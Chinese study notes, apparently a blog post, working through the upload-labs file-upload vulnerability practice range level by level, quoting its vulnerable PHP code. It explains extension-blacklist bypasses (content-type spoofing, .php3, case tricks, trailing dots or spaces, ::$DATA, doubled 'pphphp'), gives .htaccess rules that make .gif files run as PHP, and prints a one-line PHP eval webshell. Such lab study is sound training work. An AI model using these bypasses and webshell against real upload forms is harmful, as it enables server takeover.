uploadlabs

小迪老师,nb,虽然口音

莫名想起汤家凤老师

https://www.bilibili.com/video/BV1Fr4y1q7VE?p=58&spm_id_from=333.1007.top_right_bar_window_history.content.click

搭建文件上传漏洞

根据内容类型

前端,检测文件类型(下面的),猜测什么格式

根据content-type判断什么格式,

修改后面的值进行绕过,误认为上传的是一个jpg的文件

通过文件类型,下面的,判断后缀名,不严谨,

通过content type判断你上传的是什么类型文件

文件头信息:

内容头文件,判断文件后缀,判断你上传的是什么类型文件

判定文件格式

jpg

png

鼠标点击之后,返回一个函数,这个函数可能是相关的过滤

选择文件参数的名字

第二关

$is_upload = false;//声明变量

$msg = null;

if (isset($_POST['submit'])) {//点击上传

if (file_exists($UPLOAD_ADDR)) {//判断路径是否存在

//判断上传的文件类型,允许这三个类型

        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {

            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {

                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];

                $is_upload = true;

            }

        } else {

            $msg = '文件类型不正确,请重新上传!';

        }

    } else {

        $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';

    }

}

?>

<div id="upload_panel">

    <ol>

        <li>

            <h3>任务</h3>

            <p>上传一个<code>webshell</code>到服务器。</p>

        </li>

        <li>

            <h3>上传区</h3>

            <form enctype="multipart/form-data" method="post" οnsubmit="return checkFile()">

                <p>请选择要上传的图片:<p>

                <input class="input_file" type="file" name="upload_file"/>

                <input class="button" type="submit" name="submit" value="上传"/>

            </form>

            <div id="msg">

                <?php

                    if($msg != null){

                        echo "提示:".$msg;

                    }

                ?>

            </div>

            <div id="img">

                <?php

                    if($is_upload){

                        echo '<img src="'.$img_path.'" width="250px" />';

                    }

                ?>

            </div>

        </li>

        <?php

            if($_GET['action'] == "show_code"){

                include 'show_code.php';

            }

        ?>

    </ol>

</div>

<?php

include '../footer.php';

?>

$_FILES['upload_file']['tmp_name'],

获得文件临时名

$_FILES['upload_file']['tmp_name'],

 $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])

../upload/文件名

move_uploaded_file(临时文件,目录)移动文件函数

将文件上传到,目录

单一类型验证不安全,修改值

第三关(搞了一个黑名单)

$is_upload = false;

$msg = null;

if (isset($_POST['submit'])) {

    if (file_exists($UPLOAD_ADDR)) {

        $deny_ext = array('.asp','.aspx','.php','.jsp');大苏打//拒绝(deny)后缀名(ext)

        $file_name = trim($_FILES['upload_file']['name']);//trim()字符串两边空格,变为空

        $file_name = deldot($file_name);//删除文件名末尾的点

        $file_ext = strrchr($file_name, '.');

        $file_ext = strtolower($file_ext); //转换为小写

        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

//对 file_ext 中的DATA 替换为空

        $file_ext = trim($file_ext); //收尾去空

//

判断上面最后的值,在不在这个数组中

        if(!in_array($file_ext, $deny_ext)) {

            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {

                 $img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];

                 $is_upload = true;

            }

        } else {

            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';

        }

    } else {

        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';

    }

}

  $file_name = deldot($file_name);//删除文件名末尾的点

h.jpg.zip.php

正常按照jpg解析,但文件实际上时php,所以到达jpg时候,把就jpg后面的都删掉

把文件判定位jpg,单文件实际上是php

把后面干扰的进行删除

  $file_ext = strrchr($file_name, '.');

进行分割

h.jpg.zip.php

把  .php  前面东西删除掉

解决方法:

上传php的其他格式

apache能够使用php解析  .phtml   .php3

(但是apache要先修改了配置文件,对方也可能关闭)

上传 .php3  也可以执行

第三关,特殊解析后缀

第二个,白名单,MIME绕过

第四关。.htaccess解析(只有appache能用,伪静态转换,从php变成html)

网站时php,访问的时候,看见一个html的静态页面

通过htaccess解析,实现文件格式解析自定义

第四关:htaccess解析

$is_upload = false;

$msg = null;

if (isset($_POST['submit'])) {

    if (file_exists($UPLOAD_ADDR)) {

        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");

        $file_name = trim($_FILES['upload_file']['name']);

        $file_name = deldot($file_name);//删除文件名末尾的点

        $file_ext = strrchr($file_name, '.');

        $file_ext = strtolower($file_ext); //转换为小写

        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {

            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {

                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];

                $is_upload = true;

            }

        } else {

            $msg = '此文件不允许上传!';

        }

    } else {

        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';

    }

}

?>

答案:

文件匹配,如果匹配到文件里有 1.gif,则把这个文件解析成php代码执行

<FilesMatch "1.gif">

SetHandler application/x-httpd-php   #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行

AddHandler php5-script .gif          #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行

    

</FilesMatch>

文件名叫

.htaccess

通过  ,htaccess  修改啊apache默认配置,把特定文件解析成php代码执行

一句话木马:

<?php  eval($_GET[‘cmd’])?>

<?php phpinfo();?>

<FilesMatch "evil.gif">

SetHandler application/x-httpd-php   #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行

AddHandler php5-script .gif          #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行

</FilesMatch>

<IfModule mime_module>

AddHandler php5-script .gif          #在当前目录下,只针对gif文件会解析成Php代码执行

SetHandler application/x-httpd-php    #在当前目录下,所有文件都会被解析成php代码执行

</IfModule>

链接:

https://blog.csdn.net/weixin_45728976/article/details/104363400

第五关:大小写绕过,后缀改成   .PHp

去掉了

加上了 黑名单 .htaccess

第六关

缺少:

少了trim()函数,去除字符串首尾空格

抓包,在文件名  .php 后面加一个空格,即可跳过,

放上网站之后,强制把空格去掉,即可正常恢复php

第七关:

少了这个:

和空格原理相同

抓包之后,在  .php  后面加一个  .  点  就可以绕过

如果,后面加上,  .php.jpg   到服务器里,还是jpg格式

白名单,使用修改,content-type 绕过

黑名单,想办法绕过防御

第8关:

少了这个:

::$DATA 

必须是windows,必须是php,必须是源文件

php在windows的时候,如果文件名+”DATA”

会把::DATA之后的数据当成文件流处理,不会检测后报错,且保持  ::DATA  之前的文件名

目的是为了不检查后缀名

就是     抓包之后,修改文件名后缀   .php::DATA

第九关:(一次过滤和循环过滤)

什么条件都关闭了

循环,和一次过滤

代码将字符串中的php替换成空

并进行一次过滤

如果 a.php  过滤之后    a.

如果 a.pphphp  过滤之后  a.php

循环过滤,递归过滤

如果 a.pphphp   过滤之后时   a,

前面的关,用双写绕过感觉也都行。

假设转包之后输入的是:
     .php.   .

trim()去掉中间的空格,php后面有两个点

deldot()去掉了一个点,还有一个点

strrchr()函数,查找字符串,在指定字符串中从后面开始的第一次出现的位置

取后面的东西,就是空,绕过了过滤

那直接点俩点不行么

居然不行,

猜测,点后面什么都没有,和点后面有空格是不一样的

第一关,第十关,有妙用,可以直接上传php,为什么??
并且开启之后,网站访问速度变得巨快

关闭了javascript,不理解??

第十关:

如果里面有黑名单里的内容,就替换为空

直接双写pphphp

但是感觉,上面的 写两个点,中间夹个空格也可以

第一关,第十关,有妙用,可以直接上传php,为什么??
并且开启之后,网站访问速度变得巨快

关闭了javascript,不理解??

第十关:

如果里面有黑名单里的内容,就替换为空

直接双写pphphp

但是感觉,上面的 写两个点,中间夹个空格也可以

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值